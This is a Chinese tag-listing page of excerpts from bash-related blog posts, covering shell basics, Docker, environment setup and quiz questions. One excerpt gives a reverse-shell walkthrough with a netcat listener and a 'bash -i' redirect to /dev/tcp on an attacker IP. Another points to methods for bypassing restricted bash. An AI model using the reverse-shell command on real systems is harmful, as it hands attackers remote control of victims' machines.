首页 > TAG信息列表 > bash

一个简单的脚本,以保持活跃在Microsoft Teams上(适用于Mac)

请注意,如果您使用的是Slack,只需将“Microsoft Teams”替换为“Slack”,它应该以相同的方式工作。步骤 1 — 打开一个新的文本文件首先,您要打开一个在文本编辑器中调用的新文件。teams_script.sh第 2 步 — 并粘贴脚本接下来,将以下代码复制并粘贴到打

rbash是什么

rbash是什么 rbash是Restricted bash缩写,即受限制的bash。 管理员可通过指定普通用户的bash为rbash,以此来限制相关操作。 在rbash中,很多行为和命令都会被受到限制。 确切说不属于提权,只是绕过rbash的限制,因为绕过后身份依旧是当前的普通账户。 rbash绕过方法总结(精) https://moh

《Unix/Linux系统编程》第三周学习笔记

《Unix/Linux系统编程》第三周学习笔记 sh编程 sh脚本 #! /bin/bash # comment line echo hello chmod +x mysh使其可执行 sh脚本的第一行通常以#!组合开始,通 常称为shebang。当主sh见到shebang时,会读取脚本所针对的程序名并调用该程序。shebang允许主sh调用适当 版本的sh来执行

docker相关命令

docker 安装:https://blog.csdn.net/qq_44858888/article/details/124084408 docker 命令: 1,下载容器 docker pull 镜像名 2,查看镜像文件 docker images 3,创建并启动docker docker run -it xxxx bash 4,查看所有docker容器 docker ps -a 5,进入docker容器 docker exec -it 802 bash #

shell基础

shell 什么是shell shell的作用是 解释执行用户输入的命令或程序等 用户输入一条命令,shell就解释一条 键盘输入命令,linxu给与响应的方式,称之为交互 shell是一块包裹着系统核心的壳,处于操作系统的最外层,与用户直接对话,把用户的输入,解释给操作系统,然后处理操作系统输出结果,输出到

A Trail of Problems——Manjora安装后使用

目前的启动项有3:Windows Boot Manager、Manjaro、UEFI OS。其中UEFI OS 和 Manjaro 进入后内容相同;Windows下检测不到Manjaro的启动引导,Manjaro却可以检测到Windows的启动引导,不知道是什么配置原因;之前挂载/boot/efi时并没有在windows搞出的100MB的EFI系统分区中,而是另分了512MB

linux学习笔记5——sh和bash区别

众所周知,linux基于unix。 在Unix中有个Bourne shell 是由贝尔实验的史蒂夫·布尔 ( Stephen Bourne ) 发明的命令行解释器。也简写为sh。 但是 Bourne shell 对用户交互不是很友好。linux在Bourne shell的基础上加强了对用户的交互。取名Bourne Again shell 意义是加强版again 的

关于alias,临时和全局,个人和所有用户

本来说blog全面转移至dootmaan.github.io,然后cnblogs不再更新的,但现在想想有些东西还只能在cnblogs上面写,放在个人主页里面反而不合适。 今天这个事其实就是关于Linux上的alias命令。alias有很多妙用。在配置和维护实验室服务器的过程中,我很喜欢写一些文档,要么是在ssh登录后自动ca

用bash反弹shell

用bash反弹shell 受害主机;linux系统 攻击机:需要安装netcat(nc) 受害主机执行:ifconfig  ## 查看受害主机ip 攻击机执行:nc -lvp 19999 ## 在攻击机监听19999端口   受害主机执行:bash -i &> /dev/tcp/[攻击机ip]/[攻击机监听端口] 0>&1  ##反弹shell,bash是linux shell的一种,-i是指

(non-)interactive (non-)login shell

1 login shell 当bash以login shell形式登录的时候,bash会依次执行下列脚本,进行关键全局变量的初始化,如PATH。 /etc/profile ~/.bash_profile ~/.bash_login ~/.profile 使用-,-l,--login选项可指定以login shell的形式登录,--noprofile选项可使bash不去执行这些脚本。 当login shel

MAC设置JAVA环境变量

JAVA .bash_profile 为每个用户配置环境变量,用户登录后会自动读取一次 我们切换到当前用户主目录,然后编辑 .bash_profile 文件 cd ~ vim .bash_profile 输入内容 假如我们有两个JAVA环境,需要任意切换 [java11, java1.8] export JAVA11_HOME=/Library/Java/JavaVirtualMachines/jdk

Mac安装RabbitMQ

安装命令 brew install rabbitmq MQ的安装目录在 /usr/local/Cellar/rabbitmq 查看mq运行状态 rabbitmqctl status 配置环境变量 RabbitMQ的命令被安装在/usr/local/sbin,我们想在任意目录下都可以访问它的命令,则需要配置环境变量。 修改~/.bash_profile文件,使用vi ~/.bas

redis OCI runtime exec failed: exec failed:解决方法

引入了一个镜像,由于要修改一个参数,因此要进入容器中,一般使用 docker exec -it 容器名 /bin/bash然而报错 [root@mylinux ~]# docker exec -it goinception /bin/bashOCI runtime exec failed: exec failed: container_linux.go:345: starting container process caused "exec: \"/

shell编程

Shell编程入坑 Shell简介 Shell是一个用C语言编写的程序,它是用户使用linux的桥梁,Shell既是一种命令语言,又是一种程序设计语言。 Shell语法与php类似,容易上手 感觉这个语言蛮有意思的,在linux上写一些自动化脚本挺不错的。结合了菜鸟教程和网上视频简单学了学。 第一个Shell脚本 #!

OGG-00446重新注册归档

单位: 重庆地税副本库:99.12.102.136   描述: 副本库efb_jz进程abenden,报错ERROR OGG-00446 View report efb_jz 2017-08-30 08:31:39 ERROR OGG-00446 could not find archived log for sequence 22704 thread alternative destination....   原因: 在做网络割接时修改了分发库的

cp {,bak}用法(转载)

cp filename{,bak} cp filename{,.bak} 这个命令是用来把filename备份成filename.bak的 等同于命令 cp filename filename.bak 这里利用的是bash的brace expansion(大括号扩展)功能 按照bash手册(man bash)所述 bash支持{a,b,c}这样的扩展 比如a{d,c,b}e会被扩展成ade ace abe

如何启动?win11下的Linux子系统【4种方法】

实验室的开发环境在Linux操作系统下,时不时就需要打开Linux环境去操作,而且需要本地编译或者远程SSH。这时候window和Linux切换很不方便。本科的做法就是window+虚拟机的Linux,那时候装上了,但是不知道怎么用,又慢又卡的。到了研究生17年末18年出,跟舍友交流过程中发现win10电脑有内嵌的

bash/shell 编辑注意事项

#输出7的倍数 #!bin/bash num=0 #注意num的 后面 while(($num<=500)) do if (($num%7==0)) #注意if后面需要加上空格,而且有两层括号 then echo $num fi let "num++" done   

Shell

Shell单词的意思是外壳,在Unix里是操作系统内核的外壳,是用户和操作系统内核交互的中介。 Shell是一个命令解释器,解释用户输入的命令,执行相关操作。 Shell是一个程序,提供一个与用户对话的环境,这个环境只有一个命令提示符,让用户从键盘输入命令,所以Shell又叫做命令行环境。 Bash基本语

解决.bashrc文件每次打开终端都需要source的问题

解决方法 配置~/.bash_profile vi ~/.bash_profile if [ -f ~/.bashrc ] ; then source ~/.bashrc fi 到这里,退出会话,重新登陆ssh,基本就可以解决每次登陆ssh后都要输入source ~/.bashrc命令的问题了, 如果还没有解决,继续配置~/.bashrc 配置~/.bashrc vi ~/.bashrc if [ -f

Linux基础练习题-错题集(一)

(1)Linux系统中建立一个新文件可以使用的命令为? 选项:   A. chmod   B. more   C. cp   D. touch (2)Linux程序运行后,文件句柄0,1,2分别是:() 选项:   A. 标准输入,标准输出,标准错误   B. 标准错误,标准输入,标准输出   C. 标准输出,标准输入,标准错误   D. 都不是 (3)在uni

Shell | Shell 编程基础(三)

Shell | Shell 编程基础(三) 一、编程基础 解释器: Shell脚本第一行指定解释器必须写#!/bin/bash,如果没有会默认使用#!/bin/sh作为解释程序 注释: Shell注释,单行#,多行 <<COMMENT comment line 1 comment line 2 comment line n COMMENT 设置执行权限 当前用户增加

bash的四种模式

记录下今天在工作遇到的问题。 大致的问题是我以某种方式通过ssh登陆到服务器上执行一些指令,导致指令运行结果不符合预期。 导致问题的根本原因是bash的四种模式,bash在不同的模式下会加载不同的环境变量 1. interactive + login shell 交互式、登陆的shell。交互式指用户一条一条

宝塔安装composer +laravel

安装git yum -y install git       示例是使用 CentOS 7.4 哈;如果还没有服务器建议购买阿里云的或者是腾讯云的;这台服务器需要是未安装过 php 的环境;如果服务器已经被折腾过一番;建议备份下数据后重装下环境;阿里云和腾讯云都有重装系统的选项; 一般应用于生产环境的的服务器都是

日常学习(5)verilator、Makefile、bash

Verilator使用 https://blog.csdn.net/daturasee/article/details/124488821 https://github.com/verilator/verilator our.v module our; initial begin $display("Hello World"); $finish; end endmodule sim_main.cpp #include "Vour.h" #include &